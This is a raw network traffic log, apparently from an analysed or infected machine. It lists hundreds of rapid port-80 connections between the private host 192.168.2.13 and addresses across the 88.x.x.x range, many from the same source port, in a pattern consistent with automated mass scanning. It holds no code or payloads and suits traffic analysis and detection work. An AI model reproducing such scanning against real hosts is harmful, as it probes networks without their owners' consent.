Jul 20, 2024 23:00:59.920289040 CEST	80	54690	88.175.159.46	192.168.2.13
Jul 20, 2024 23:00:59.920308113 CEST	80	53304	88.46.192.156	192.168.2.13
Jul 20, 2024 23:00:59.920320034 CEST	80	33222	88.254.213.91	192.168.2.13
Jul 20, 2024 23:00:59.920332909 CEST	80	34928	88.173.127.131	192.168.2.13
Jul 20, 2024 23:00:59.920344114 CEST	80	49858	88.28.171.163	192.168.2.13
Jul 20, 2024 23:00:59.920563936 CEST	80	40978	88.228.89.154	192.168.2.13
Jul 20, 2024 23:00:59.920577049 CEST	80	50568	88.209.159.72	192.168.2.13
Jul 20, 2024 23:00:59.920593977 CEST	80	36934	88.229.215.174	192.168.2.13
Jul 20, 2024 23:00:59.920617104 CEST	80	50568	88.148.160.40	192.168.2.13
Jul 20, 2024 23:00:59.920623064 CEST	50568	80	192.168.2.13	88.115.53.33
Jul 20, 2024 23:00:59.920623064 CEST	50568	80	192.168.2.13	88.6.139.136
Jul 20, 2024 23:00:59.920623064 CEST	50568	80	192.168.2.13	88.158.158.220
Jul 20, 2024 23:00:59.920623064 CEST	50568	80	192.168.2.13	88.237.68.94
Jul 20, 2024 23:00:59.920623064 CEST	44468	80	192.168.2.13	88.76.214.90
Jul 20, 2024 23:00:59.920624018 CEST	52572	80	192.168.2.13	88.193.78.207
Jul 20, 2024 23:00:59.920624018 CEST	50568	80	192.168.2.13	88.187.137.243
Jul 20, 2024 23:00:59.920624018 CEST	50568	80	192.168.2.13	88.254.193.19
Jul 20, 2024 23:00:59.920629978 CEST	80	50568	88.155.50.250	192.168.2.13
Jul 20, 2024 23:00:59.920641899 CEST	80	47870	88.194.253.45	192.168.2.13
Jul 20, 2024 23:00:59.920654058 CEST	80	50568	88.117.77.152	192.168.2.13
Jul 20, 2024 23:00:59.920665979 CEST	80	43126	88.203.34.200	192.168.2.13
Jul 20, 2024 23:00:59.920677900 CEST	80	37746	88.188.103.1	192.168.2.13
Jul 20, 2024 23:00:59.920689106 CEST	80	35426	88.84.148.82	192.168.2.13
Jul 20, 2024 23:00:59.920700073 CEST	80	55966	88.72.207.1	192.168.2.13
Jul 20, 2024 23:00:59.920711994 CEST	80	32876	88.139.53.242	192.168.2.13
Jul 20, 2024 23:00:59.920727015 CEST	80	54894	88.95.76.231	192.168.2.13
Jul 20, 2024 23:00:59.920738935 CEST	80	50568	88.112.100.222	192.168.2.13
Jul 20, 2024 23:00:59.920761108 CEST	80	57564	88.55.81.133	192.168.2.13
Jul 20, 2024 23:00:59.920774937 CEST	80	50568	88.207.100.111	192.168.2.13
Jul 20, 2024 23:00:59.920787096 CEST	80	50568	88.58.241.41	192.168.2.13
Jul 20, 2024 23:00:59.920799017 CEST	80	37746	88.115.87.106	192.168.2.13
Jul 20, 2024 23:00:59.920810938 CEST	80	60152	88.119.103.131	192.168.2.13
Jul 20, 2024 23:00:59.920823097 CEST	80	52458	88.28.231.133	192.168.2.13
Jul 20, 2024 23:00:59.920835018 CEST	80	58976	88.40.83.143	192.168.2.13
Jul 20, 2024 23:00:59.920852900 CEST	50568	80	192.168.2.13	88.131.43.170
Jul 20, 2024 23:00:59.920852900 CEST	50568	80	192.168.2.13	88.150.117.231
Jul 20, 2024 23:00:59.920852900 CEST	50568	80	192.168.2.13	88.9.113.163
Jul 20, 2024 23:00:59.920852900 CEST	50568	80	192.168.2.13	88.221.77.78
Jul 20, 2024 23:00:59.920852900 CEST	50568	80	192.168.2.13	88.191.85.56
Jul 20, 2024 23:00:59.920852900 CEST	50568	80	192.168.2.13	88.165.214.168
Jul 20, 2024 23:00:59.920852900 CEST	50568	80	192.168.2.13	88.62.154.187
Jul 20, 2024 23:00:59.920852900 CEST	50166	80	192.168.2.13	88.92.101.150
Jul 20, 2024 23:00:59.920861006 CEST	80	51192	88.214.91.164	192.168.2.13
Jul 20, 2024 23:00:59.920872927 CEST	80	50568	88.108.216.48	192.168.2.13
Jul 20, 2024 23:00:59.920885086 CEST	80	34820	88.235.23.149	192.168.2.13
Jul 20, 2024 23:00:59.920897007 CEST	80	60100	88.110.99.36	192.168.2.13
Jul 20, 2024 23:00:59.920907974 CEST	80	35566	88.100.181.189	192.168.2.13
Jul 20, 2024 23:00:59.920948029 CEST	80	50568	88.87.72.63	192.168.2.13
Jul 20, 2024 23:00:59.920959949 CEST	80	50568	88.184.119.151	192.168.2.13
Jul 20, 2024 23:00:59.920975924 CEST	80	59672	88.11.238.53	192.168.2.13
Jul 20, 2024 23:00:59.921000957 CEST	80	50568	88.92.241.198	192.168.2.13
Jul 20, 2024 23:00:59.921013117 CEST	80	45002	88.179.97.55	192.168.2.13
Jul 20, 2024 23:00:59.921025038 CEST	80	55320	88.11.53.195	192.168.2.13
Jul 20, 2024 23:00:59.921037912 CEST	80	37458	88.39.167.212	192.168.2.13
Jul 20, 2024 23:00:59.921050072 CEST	80	37876	88.130.132.206	192.168.2.13
Jul 20, 2024 23:00:59.921061993 CEST	80	41372	88.143.197.12	192.168.2.13
Jul 20, 2024 23:00:59.921077967 CEST	80	50568	88.120.8.20	192.168.2.13
Jul 20, 2024 23:00:59.921087027 CEST	50568	80	192.168.2.13	88.157.124.72
Jul 20, 2024 23:00:59.921087027 CEST	54880	80	192.168.2.13	88.253.118.70
Jul 20, 2024 23:00:59.921087980 CEST	54880	80	192.168.2.13	88.253.118.70
Jul 20, 2024 23:00:59.921087980 CEST	45864	80	192.168.2.13	88.103.153.43
Jul 20, 2024 23:00:59.921087980 CEST	49658	80	192.168.2.13	88.248.146.190
Jul 20, 2024 23:00:59.921087980 CEST	51826	80	192.168.2.13	88.229.144.100
Jul 20, 2024 23:00:59.921087980 CEST	39200	80	192.168.2.13	88.182.133.26
Jul 20, 2024 23:00:59.921087980 CEST	50568	80	192.168.2.13	88.180.99.105
Jul 20, 2024 23:00:59.921091080 CEST	80	50826	88.182.133.67	192.168.2.13
Jul 20, 2024 23:00:59.921103954 CEST	80	50568	88.132.15.37	192.168.2.13
Jul 20, 2024 23:00:59.921116114 CEST	80	40490	88.47.144.213	192.168.2.13
Jul 20, 2024 23:00:59.921128035 CEST	80	49872	88.36.207.19	192.168.2.13
Jul 20, 2024 23:00:59.921139956 CEST	80	41886	88.117.222.91	192.168.2.13
Jul 20, 2024 23:00:59.921158075 CEST	80	39950	88.245.235.139	192.168.2.13
Jul 20, 2024 23:00:59.921169996 CEST	80	39832	88.144.85.68	192.168.2.13
Jul 20, 2024 23:00:59.921233892 CEST	80	41044	88.31.145.92	192.168.2.13
Jul 20, 2024 23:00:59.921246052 CEST	80	33096	88.168.133.200	192.168.2.13
Jul 20, 2024 23:00:59.921257973 CEST	80	39488	88.194.170.76	192.168.2.13
Jul 20, 2024 23:00:59.921271086 CEST	80	58356	88.142.208.235	192.168.2.13
Jul 20, 2024 23:00:59.921539068 CEST	80	50568	88.18.232.148	192.168.2.13
Jul 20, 2024 23:00:59.921551943 CEST	80	50568	88.249.249.211	192.168.2.13
Jul 20, 2024 23:00:59.921564102 CEST	80	33166	88.204.108.175	192.168.2.13
Jul 20, 2024 23:00:59.921849012 CEST	80	51708	88.217.111.86	192.168.2.13
Jul 20, 2024 23:00:59.921861887 CEST	80	33530	88.72.206.136	192.168.2.13
Jul 20, 2024 23:00:59.922066927 CEST	50568	80	192.168.2.13	88.166.139.182
Jul 20, 2024 23:00:59.922068119 CEST	50568	80	192.168.2.13	88.88.174.225
Jul 20, 2024 23:00:59.922068119 CEST	49878	80	192.168.2.13	88.243.42.220
Jul 20, 2024 23:00:59.922068119 CEST	58018	80	192.168.2.13	88.183.147.254
Jul 20, 2024 23:00:59.922068119 CEST	33438	80	192.168.2.13	88.208.128.4
Jul 20, 2024 23:00:59.922068119 CEST	49638	80	192.168.2.13	88.85.121.11
Jul 20, 2024 23:00:59.922068119 CEST	50568	80	192.168.2.13	88.74.83.5
Jul 20, 2024 23:00:59.922624111 CEST	80	50568	88.18.139.207	192.168.2.13
Jul 20, 2024 23:00:59.922636986 CEST	80	50568	88.195.170.165	192.168.2.13
Jul 20, 2024 23:00:59.922647953 CEST	80	50568	88.37.52.64	192.168.2.13
Jul 20, 2024 23:00:59.922700882 CEST	80	50568	88.107.211.94	192.168.2.13
Jul 20, 2024 23:00:59.922717094 CEST	50568	80	192.168.2.13	88.155.204.21
Jul 20, 2024 23:00:59.922717094 CEST	50568	80	192.168.2.13	88.244.245.204
Jul 20, 2024 23:00:59.922717094 CEST	50568	80	192.168.2.13	88.56.164.111
Jul 20, 2024 23:00:59.922717094 CEST	50568	80	192.168.2.13	88.127.108.167
Jul 20, 2024 23:00:59.922717094 CEST	50568	80	192.168.2.13	88.98.173.186
Jul 20, 2024 23:00:59.922717094 CEST	42702	80	192.168.2.13	88.147.170.219
Jul 20, 2024 23:00:59.922717094 CEST	55280	80	192.168.2.13	88.60.255.249
Jul 20, 2024 23:00:59.922717094 CEST	43198	80	192.168.2.13	88.233.245.46
Jul 20, 2024 23:00:59.922724962 CEST	80	50568	88.7.129.4	192.168.2.13
Jul 20, 2024 23:00:59.922736883 CEST	80	50568	88.90.29.0	192.168.2.13
Jul 20, 2024 23:00:59.922749996 CEST	80	50568	88.79.139.81	192.168.2.13
Jul 20, 2024 23:00:59.922761917 CEST	80	50568	88.113.60.123	192.168.2.13
Jul 20, 2024 23:00:59.922774076 CEST	80	50568	88.56.91.131	192.168.2.13
Jul 20, 2024 23:00:59.922785997 CEST	80	50568	88.76.11.105	192.168.2.13
Jul 20, 2024 23:00:59.922955036 CEST	50568	80	192.168.2.13	88.96.232.196
Jul 20, 2024 23:00:59.922955036 CEST	50568	80	192.168.2.13	88.76.253.23
Jul 20, 2024 23:00:59.922955036 CEST	50568	80	192.168.2.13	88.95.77.252
Jul 20, 2024 23:00:59.922955036 CEST	46634	80	192.168.2.13	88.56.0.126
Jul 20, 2024 23:00:59.922955036 CEST	59482	80	192.168.2.13	88.207.103.153
Jul 20, 2024 23:00:59.922955036 CEST	50568	80	192.168.2.13	88.142.110.16
Jul 20, 2024 23:00:59.922955036 CEST	50568	80	192.168.2.13	88.193.151.195
Jul 20, 2024 23:00:59.922955036 CEST	50568	80	192.168.2.13	88.38.136.61
Jul 20, 2024 23:00:59.922985077 CEST	80	50568	88.250.75.187	192.168.2.13
Jul 20, 2024 23:00:59.922996998 CEST	80	50568	88.54.128.234	192.168.2.13
Jul 20, 2024 23:00:59.923008919 CEST	80	50568	88.246.147.66	192.168.2.13
Jul 20, 2024 23:00:59.923026085 CEST	80	50568	88.61.209.88	192.168.2.13
Jul 20, 2024 23:00:59.923403025 CEST	80	50568	88.39.185.219	192.168.2.13
Jul 20, 2024 23:00:59.923650026 CEST	80	50568	88.218.238.27	192.168.2.13
Jul 20, 2024 23:00:59.923661947 CEST	80	50568	88.129.126.202	192.168.2.13
Jul 20, 2024 23:00:59.923962116 CEST	80	50568	88.125.42.118	192.168.2.13
Jul 20, 2024 23:00:59.924072027 CEST	50568	80	192.168.2.13	88.198.199.244
Jul 20, 2024 23:00:59.924072027 CEST	50568	80	192.168.2.13	88.17.211.31
Jul 20, 2024 23:00:59.924072027 CEST	50568	80	192.168.2.13	88.66.90.171
Jul 20, 2024 23:00:59.924072027 CEST	50568	80	192.168.2.13	88.50.196.253
Jul 20, 2024 23:00:59.924072027 CEST	50568	80	192.168.2.13	88.26.16.3
Jul 20, 2024 23:00:59.924072027 CEST	54314	80	192.168.2.13	88.5.120.65
Jul 20, 2024 23:00:59.924072027 CEST	38742	80	192.168.2.13	88.241.177.22
Jul 20, 2024 23:00:59.924072027 CEST	40978	80	192.168.2.13	88.228.89.154
Jul 20, 2024 23:00:59.924242973 CEST	80	50568	88.228.29.62	192.168.2.13
Jul 20, 2024 23:00:59.924254894 CEST	80	50568	88.5.45.227	192.168.2.13
Jul 20, 2024 23:00:59.924432993 CEST	80	50568	88.146.90.18	192.168.2.13
Jul 20, 2024 23:00:59.924619913 CEST	50568	80	192.168.2.13	88.1.204.170
Jul 20, 2024 23:00:59.924619913 CEST	50568	80	192.168.2.13	88.160.39.161
Jul 20, 2024 23:00:59.924619913 CEST	50568	80	192.168.2.13	88.223.235.110
Jul 20, 2024 23:00:59.924619913 CEST	39434	80	192.168.2.13	88.95.217.148
Jul 20, 2024 23:00:59.924619913 CEST	50568	80	192.168.2.13	88.33.168.179
Jul 20, 2024 23:00:59.924619913 CEST	49858	80	192.168.2.13	88.28.171.163
Jul 20, 2024 23:00:59.924619913 CEST	36934	80	192.168.2.13	88.229.215.174
Jul 20, 2024 23:00:59.924619913 CEST	50568	80	192.168.2.13	88.148.160.40
Jul 20, 2024 23:00:59.924634933 CEST	80	50568	88.141.135.182	192.168.2.13
Jul 20, 2024 23:00:59.924941063 CEST	50568	80	192.168.2.13	88.65.22.95
Jul 20, 2024 23:00:59.924941063 CEST	50568	80	192.168.2.13	88.129.108.32
Jul 20, 2024 23:00:59.924941063 CEST	50568	80	192.168.2.13	88.165.239.52
Jul 20, 2024 23:00:59.924942017 CEST	50568	80	192.168.2.13	88.92.108.28
Jul 20, 2024 23:00:59.924942017 CEST	50568	80	192.168.2.13	88.92.246.25
Jul 20, 2024 23:00:59.924942017 CEST	50568	80	192.168.2.13	88.124.176.110
Jul 20, 2024 23:00:59.924942017 CEST	50568	80	192.168.2.13	88.26.20.160
Jul 20, 2024 23:00:59.924942017 CEST	50568	80	192.168.2.13	88.191.61.195
Jul 20, 2024 23:00:59.925154924 CEST	36162	80	192.168.2.13	88.224.163.182
Jul 20, 2024 23:00:59.925154924 CEST	56764	80	192.168.2.13	88.149.225.52
Jul 20, 2024 23:00:59.925154924 CEST	50568	80	192.168.2.13	88.55.82.184
Jul 20, 2024 23:00:59.925154924 CEST	50568	80	192.168.2.13	88.108.216.48
Jul 20, 2024 23:00:59.925154924 CEST	35566	80	192.168.2.13	88.100.181.189
Jul 20, 2024 23:00:59.925154924 CEST	33530	80	192.168.2.13	88.72.206.136
Jul 20, 2024 23:00:59.925154924 CEST	50568	80	192.168.2.13	88.107.211.94
Jul 20, 2024 23:00:59.925154924 CEST	50568	80	192.168.2.13	88.218.238.27
Jul 20, 2024 23:00:59.925859928 CEST	80	48954	88.221.198.181	192.168.2.13
Jul 20, 2024 23:00:59.925873995 CEST	80	40808	88.31.32.16	192.168.2.13
Jul 20, 2024 23:00:59.925885916 CEST	80	40424	88.178.196.213	192.168.2.13
Jul 20, 2024 23:00:59.925942898 CEST	80	44284	88.3.244.128	192.168.2.13
Jul 20, 2024 23:00:59.925954103 CEST	80	50568	88.77.110.197	192.168.2.13
Jul 20, 2024 23:00:59.925966024 CEST	80	50568	88.131.123.27	192.168.2.13
Jul 20, 2024 23:00:59.925977945 CEST	80	50568	88.56.3.48	192.168.2.13
Jul 20, 2024 23:00:59.925988913 CEST	80	50568	88.148.88.23	192.168.2.13
Jul 20, 2024 23:00:59.926001072 CEST	80	50568	88.39.211.37	192.168.2.13
Jul 20, 2024 23:00:59.926278114 CEST	50568	80	192.168.2.13	88.149.54.132
Jul 20, 2024 23:00:59.926278114 CEST	50568	80	192.168.2.13	88.104.112.235
Jul 20, 2024 23:00:59.926278114 CEST	50568	80	192.168.2.13	88.127.52.38
Jul 20, 2024 23:00:59.926278114 CEST	38190	80	192.168.2.13	88.39.208.120
Jul 20, 2024 23:00:59.926278114 CEST	50568	80	192.168.2.13	88.204.243.130
Jul 20, 2024 23:00:59.926278114 CEST	50568	80	192.168.2.13	88.22.209.232
Jul 20, 2024 23:00:59.926278114 CEST	34592	80	192.168.2.13	88.144.101.120
Jul 20, 2024 23:00:59.926278114 CEST	52010	80	192.168.2.13	88.36.251.157
Jul 20, 2024 23:00:59.926362038 CEST	50568	80	192.168.2.13	88.112.165.199
Jul 20, 2024 23:00:59.926362038 CEST	50568	80	192.168.2.13	88.10.196.220
Jul 20, 2024 23:00:59.926362038 CEST	50568	80	192.168.2.13	88.163.141.131
Jul 20, 2024 23:00:59.926362038 CEST	50568	80	192.168.2.13	88.79.201.51
Jul 20, 2024 23:00:59.926362038 CEST	50568	80	192.168.2.13	88.29.188.217
Jul 20, 2024 23:00:59.926362038 CEST	50568	80	192.168.2.13	88.74.20.77
Jul 20, 2024 23:00:59.926362038 CEST	50568	80	192.168.2.13	88.103.209.10
Jul 20, 2024 23:00:59.926362038 CEST	50568	80	192.168.2.13	88.55.60.63
Jul 20, 2024 23:00:59.926477909 CEST	80	50568	88.231.226.92	192.168.2.13
Jul 20, 2024 23:00:59.926491022 CEST	80	50568	88.13.173.133	192.168.2.13
Jul 20, 2024 23:00:59.926501989 CEST	80	50568	88.146.110.20	192.168.2.13
Jul 20, 2024 23:00:59.926513910 CEST	80	50568	88.44.88.2	192.168.2.13
Jul 20, 2024 23:00:59.926572084 CEST	80	50568	88.6.208.198	192.168.2.13
Jul 20, 2024 23:00:59.926584005 CEST	80	50568	88.182.231.180	192.168.2.13
Jul 20, 2024 23:00:59.926995993 CEST	39224	80	192.168.2.13	88.46.94.155
Jul 20, 2024 23:00:59.926995993 CEST	32800	80	192.168.2.13	88.42.123.165
Jul 20, 2024 23:00:59.926995993 CEST	50568	80	192.168.2.13	88.209.159.72
Jul 20, 2024 23:00:59.926995993 CEST	43126	80	192.168.2.13	88.203.34.200
Jul 20, 2024 23:00:59.926995993 CEST	50568	80	192.168.2.13	88.117.77.152
Jul 20, 2024 23:00:59.926995993 CEST	37746	80	192.168.2.13	88.115.87.106
Jul 20, 2024 23:00:59.926995993 CEST	50568	80	192.168.2.13	88.87.72.63
Jul 20, 2024 23:00:59.927037001 CEST	80	50568	88.115.53.33	192.168.2.13
Jul 20, 2024 23:00:59.927067995 CEST	80	50568	88.98.238.6	192.168.2.13
Jul 20, 2024 23:00:59.927330971 CEST	80	50568	88.186.222.227	192.168.2.13
Jul 20, 2024 23:00:59.927342892 CEST	80	50568	88.166.139.182	192.168.2.13
Jul 20, 2024 23:00:59.927557945 CEST	80	50568	88.140.19.134	192.168.2.13
Jul 20, 2024 23:00:59.927570105 CEST	80	50568	88.6.139.136	192.168.2.13
Jul 20, 2024 23:00:59.927721977 CEST	80	50568	88.88.174.225	192.168.2.13
Jul 20, 2024 23:00:59.928415060 CEST	80	50568	88.158.158.220	192.168.2.13
Jul 20, 2024 23:00:59.929405928 CEST	50568	80	192.168.2.13	88.80.198.142
Jul 20, 2024 23:00:59.929405928 CEST	50568	80	192.168.2.13	88.41.172.45
Jul 20, 2024 23:00:59.929405928 CEST	50568	80	192.168.2.13	88.211.58.217
Jul 20, 2024 23:00:59.929405928 CEST	53918	80	192.168.2.13	88.180.85.169
Jul 20, 2024 23:00:59.929405928 CEST	53834	80	192.168.2.13	88.42.182.254
Jul 20, 2024 23:00:59.929405928 CEST	45256	80	192.168.2.13	88.43.79.4
Jul 20, 2024 23:00:59.929405928 CEST	60178	80	192.168.2.13	88.144.5.185
Jul 20, 2024 23:00:59.929405928 CEST	50568	80	192.168.2.13	88.70.58.249
Jul 20, 2024 23:00:59.929610968 CEST	50568	80	192.168.2.13	88.155.50.250
Jul 20, 2024 23:00:59.929610968 CEST	47870	80	192.168.2.13	88.194.253.45
Jul 20, 2024 23:00:59.929610968 CEST	37746	80	192.168.2.13	88.188.103.1
Jul 20, 2024 23:00:59.929610968 CEST	32876	80	192.168.2.13	88.139.53.242
Jul 20, 2024 23:00:59.929611921 CEST	50568	80	192.168.2.13	88.112.100.222
Jul 20, 2024 23:00:59.929611921 CEST	57564	80	192.168.2.13	88.55.81.133
Jul 20, 2024 23:00:59.929611921 CEST	34820	80	192.168.2.13	88.235.23.149
Jul 20, 2024 23:00:59.929611921 CEST	50568	80	192.168.2.13	88.184.119.151
Jul 20, 2024 23:00:59.929687023 CEST	59672	80	192.168.2.13	88.11.238.53
Jul 20, 2024 23:00:59.929687023 CEST	41372	80	192.168.2.13	88.143.197.12
Jul 20, 2024 23:00:59.929687023 CEST	49872	80	192.168.2.13	88.36.207.19
Jul 20, 2024 23:00:59.929687023 CEST	39950	80	192.168.2.13	88.245.235.139
Jul 20, 2024 23:00:59.929687023 CEST	41044	80	192.168.2.13	88.31.145.92
Jul 20, 2024 23:00:59.929744005 CEST	55966	80	192.168.2.13	88.72.207.1
Jul 20, 2024 23:00:59.929744005 CEST	54894	80	192.168.2.13	88.95.76.231
Jul 20, 2024 23:00:59.929744005 CEST	50568	80	192.168.2.13	88.207.100.111
Jul 20, 2024 23:00:59.929744005 CEST	50568	80	192.168.2.13	88.18.139.207
Jul 20, 2024 23:00:59.929744005 CEST	50568	80	192.168.2.13	88.250.75.187
Jul 20, 2024 23:00:59.929744005 CEST	50568	80	192.168.2.13	88.246.147.66
Jul 20, 2024 23:00:59.930072069 CEST	50568	80	192.168.2.13	88.129.126.202
Jul 20, 2024 23:00:59.930072069 CEST	50568	80	192.168.2.13	88.125.42.118
Jul 20, 2024 23:00:59.930072069 CEST	50568	80	192.168.2.13	88.5.45.227
Jul 20, 2024 23:00:59.930072069 CEST	50568	80	192.168.2.13	88.141.135.182
Jul 20, 2024 23:00:59.930072069 CEST	50568	80	192.168.2.13	88.131.123.27
Jul 20, 2024 23:00:59.930072069 CEST	50568	80	192.168.2.13	88.56.3.48
Jul 20, 2024 23:00:59.930072069 CEST	50568	80	192.168.2.13	88.39.211.37
Jul 20, 2024 23:00:59.930072069 CEST	50568	80	192.168.2.13	88.231.226.92
Jul 20, 2024 23:00:59.931087971 CEST	45002	80	192.168.2.13	88.179.97.55
Jul 20, 2024 23:00:59.931087971 CEST	37876	80	192.168.2.13	88.130.132.206
Jul 20, 2024 23:00:59.931087971 CEST	41886	80	192.168.2.13	88.117.222.91
Jul 20, 2024 23:00:59.931087971 CEST	50568	80	192.168.2.13	88.195.170.165
Jul 20, 2024 23:00:59.931087971 CEST	50568	80	192.168.2.13	88.7.129.4
Jul 20, 2024 23:00:59.932241917 CEST	50568	80	192.168.2.13	88.194.165.251
Jul 20, 2024 23:00:59.932241917 CEST	50568	80	192.168.2.13	88.2.59.118
Jul 20, 2024 23:00:59.932241917 CEST	50568	80	192.168.2.13	88.251.60.32
Jul 20, 2024 23:00:59.932241917 CEST	50568	80	192.168.2.13	88.201.141.17
Jul 20, 2024 23:00:59.932241917 CEST	50568	80	192.168.2.13	88.191.187.105
Jul 20, 2024 23:00:59.932241917 CEST	50568	80	192.168.2.13	88.134.250.2
Jul 20, 2024 23:00:59.932241917 CEST	50568	80	192.168.2.13	88.53.65.5
Jul 20, 2024 23:00:59.932241917 CEST	50568	80	192.168.2.13	88.120.148.226
Jul 20, 2024 23:00:59.932454109 CEST	50568	80	192.168.2.13	88.54.238.118
Jul 20, 2024 23:00:59.932454109 CEST	50568	80	192.168.2.13	88.14.96.78
Jul 20, 2024 23:00:59.932454109 CEST	50568	80	192.168.2.13	88.153.84.250
Jul 20, 2024 23:00:59.932454109 CEST	50568	80	192.168.2.13	88.148.171.224
Jul 20, 2024 23:00:59.932454109 CEST	50568	80	192.168.2.13	88.184.56.33
Jul 20, 2024 23:00:59.932454109 CEST	50568	80	192.168.2.13	88.184.33.81
Jul 20, 2024 23:00:59.932454109 CEST	50568	80	192.168.2.13	88.137.117.85
Jul 20, 2024 23:00:59.932454109 CEST	50568	80	192.168.2.13	88.100.173.127
Jul 20, 2024 23:00:59.932792902 CEST	47842	80	192.168.2.13	88.91.94.195
Jul 20, 2024 23:00:59.932792902 CEST	56732	80	192.168.2.13	88.10.119.162
Jul 20, 2024 23:00:59.932792902 CEST	54918	80	192.168.2.13	88.51.29.49
Jul 20, 2024 23:00:59.932792902 CEST	53304	80	192.168.2.13	88.46.192.156
Jul 20, 2024 23:00:59.932792902 CEST	34928	80	192.168.2.13	88.173.127.131
Jul 20, 2024 23:00:59.932792902 CEST	37458	80	192.168.2.13	88.39.167.212
Jul 20, 2024 23:00:59.932792902 CEST	50568	80	192.168.2.13	88.120.8.20
Jul 20, 2024 23:00:59.932792902 CEST	50826	80	192.168.2.13	88.182.133.67
Jul 20, 2024 23:00:59.933316946 CEST	80	41192	88.222.100.42	192.168.2.13
Jul 20, 2024 23:00:59.933341980 CEST	80	41938	88.23.226.239	192.168.2.13
Jul 20, 2024 23:00:59.933372974 CEST	80	47080	88.187.51.16	192.168.2.13
Jul 20, 2024 23:00:59.933476925 CEST	80	50568	88.237.68.94	192.168.2.13
Jul 20, 2024 23:00:59.933490038 CEST	80	50568	88.116.32.191	192.168.2.13
Jul 20, 2024 23:00:59.933922052 CEST	80	50568	88.145.242.252	192.168.2.13
Jul 20, 2024 23:00:59.933933973 CEST	80	50568	88.157.124.72	192.168.2.13
Jul 20, 2024 23:00:59.933945894 CEST	80	50568	88.54.190.39	192.168.2.13
Jul 20, 2024 23:00:59.933958054 CEST	80	50568	88.19.70.223	192.168.2.13
Jul 20, 2024 23:00:59.933969021 CEST	80	50568	88.112.165.199	192.168.2.13
Jul 20, 2024 23:00:59.933980942 CEST	80	54880	88.253.118.70	192.168.2.13
Jul 20, 2024 23:00:59.934335947 CEST	80	50568	88.10.196.220	192.168.2.13
Jul 20, 2024 23:00:59.934349060 CEST	80	50568	88.163.141.131	192.168.2.13
Jul 20, 2024 23:00:59.934360027 CEST	80	50568	88.79.201.51	192.168.2.13
Jul 20, 2024 23:00:59.934463978 CEST	41116	80	192.168.2.13	88.88.172.117
Jul 20, 2024 23:00:59.934463978 CEST	42238	80	192.168.2.13	88.185.18.207
Jul 20, 2024 23:00:59.934463978 CEST	50568	80	192.168.2.13	88.224.81.194
Jul 20, 2024 23:00:59.934463978 CEST	35426	80	192.168.2.13	88.84.148.82
Jul 20, 2024 23:00:59.934463978 CEST	50568	80	192.168.2.13	88.58.241.41
Jul 20, 2024 23:00:59.934463978 CEST	60100	80	192.168.2.13	88.110.99.36
Jul 20, 2024 23:00:59.934463978 CEST	50568	80	192.168.2.13	88.18.232.148
Jul 20, 2024 23:00:59.934463978 CEST	50568	80	192.168.2.13	88.249.249.211
Jul 20, 2024 23:00:59.934593916 CEST	80	50568	88.29.188.217	192.168.2.13
Jul 20, 2024 23:00:59.934938908 CEST	50568	80	192.168.2.13	88.115.53.33
Jul 20, 2024 23:00:59.934938908 CEST	50568	80	192.168.2.13	88.6.139.136
Jul 20, 2024 23:00:59.934938908 CEST	50568	80	192.168.2.13	88.158.158.220
Jul 20, 2024 23:00:59.934938908 CEST	50568	80	192.168.2.13	88.237.68.94
Jul 20, 2024 23:00:59.935245991 CEST	50568	80	192.168.2.13	88.210.2.48
Jul 20, 2024 23:00:59.935245991 CEST	50568	80	192.168.2.13	88.53.100.122
Jul 20, 2024 23:00:59.935245991 CEST	50568	80	192.168.2.13	88.39.58.71
Jul 20, 2024 23:00:59.935245991 CEST	50568	80	192.168.2.13	88.137.150.220
Jul 20, 2024 23:00:59.935245991 CEST	50568	80	192.168.2.13	88.173.230.92
Jul 20, 2024 23:00:59.935245991 CEST	50568	80	192.168.2.13	88.176.148.233
Jul 20, 2024 23:00:59.935245991 CEST	50568	80	192.168.2.13	88.226.184.145
Jul 20, 2024 23:00:59.935245991 CEST	46686	80	192.168.2.13	88.133.123.34
Jul 20, 2024 23:00:59.935281992 CEST	55180	80	192.168.2.13	88.253.118.70
Jul 20, 2024 23:00:59.936265945 CEST	80	50568	88.74.20.77	192.168.2.13
Jul 20, 2024 23:00:59.936573029 CEST	80	50568	88.103.209.10	192.168.2.13
Jul 20, 2024 23:00:59.936635017 CEST	39832	80	192.168.2.13	88.144.85.68
Jul 20, 2024 23:00:59.936635017 CEST	33096	80	192.168.2.13	88.168.133.200
Jul 20, 2024 23:00:59.936635017 CEST	39488	80	192.168.2.13	88.194.170.76
Jul 20, 2024 23:00:59.936635017 CEST	33166	80	192.168.2.13	88.204.108.175
Jul 20, 2024 23:00:59.936635017 CEST	50568	80	192.168.2.13	88.37.52.64
Jul 20, 2024 23:00:59.936635017 CEST	50568	80	192.168.2.13	88.90.29.0
Jul 20, 2024 23:00:59.936635017 CEST	50568	80	192.168.2.13	88.79.139.81
Jul 20, 2024 23:00:59.936635017 CEST	50568	80	192.168.2.13	88.113.60.123
Jul 20, 2024 23:00:59.937122107 CEST	50568	80	192.168.2.13	88.61.209.88
Jul 20, 2024 23:00:59.937122107 CEST	50568	80	192.168.2.13	88.39.185.219
Jul 20, 2024 23:00:59.937122107 CEST	50568	80	192.168.2.13	88.228.29.62
Jul 20, 2024 23:00:59.937122107 CEST	50568	80	192.168.2.13	88.148.88.23
Jul 20, 2024 23:00:59.937122107 CEST	50568	80	192.168.2.13	88.182.231.180
Jul 20, 2024 23:00:59.937122107 CEST	50568	80	192.168.2.13	88.98.238.6
Jul 20, 2024 23:00:59.937122107 CEST	50568	80	192.168.2.13	88.186.222.227
Jul 20, 2024 23:00:59.937288046 CEST	80	50568	88.55.60.63	192.168.2.13
Jul 20, 2024 23:00:59.937607050 CEST	50738	80	192.168.2.13	88.91.21.190
Jul 20, 2024 23:00:59.937607050 CEST	57014	80	192.168.2.13	88.50.180.63
Jul 20, 2024 23:00:59.937607050 CEST	42156	80	192.168.2.13	88.239.53.105
Jul 20, 2024 23:00:59.937607050 CEST	60706	80	192.168.2.13	88.109.221.124
Jul 20, 2024 23:00:59.937607050 CEST	43696	80	192.168.2.13	88.95.27.60
Jul 20, 2024 23:00:59.937607050 CEST	40250	80	192.168.2.13	88.194.51.20
Jul 20, 2024 23:00:59.937607050 CEST	53922	80	192.168.2.13	88.146.249.166
Jul 20, 2024 23:00:59.937607050 CEST	54690	80	192.168.2.13	88.175.159.46
Jul 20, 2024 23:00:59.937846899 CEST	80	50568	88.54.238.118	192.168.2.13
Jul 20, 2024 23:00:59.937869072 CEST	50568	80	192.168.2.13	88.169.191.113
Jul 20, 2024 23:00:59.937869072 CEST	50568	80	192.168.2.13	88.2.182.131
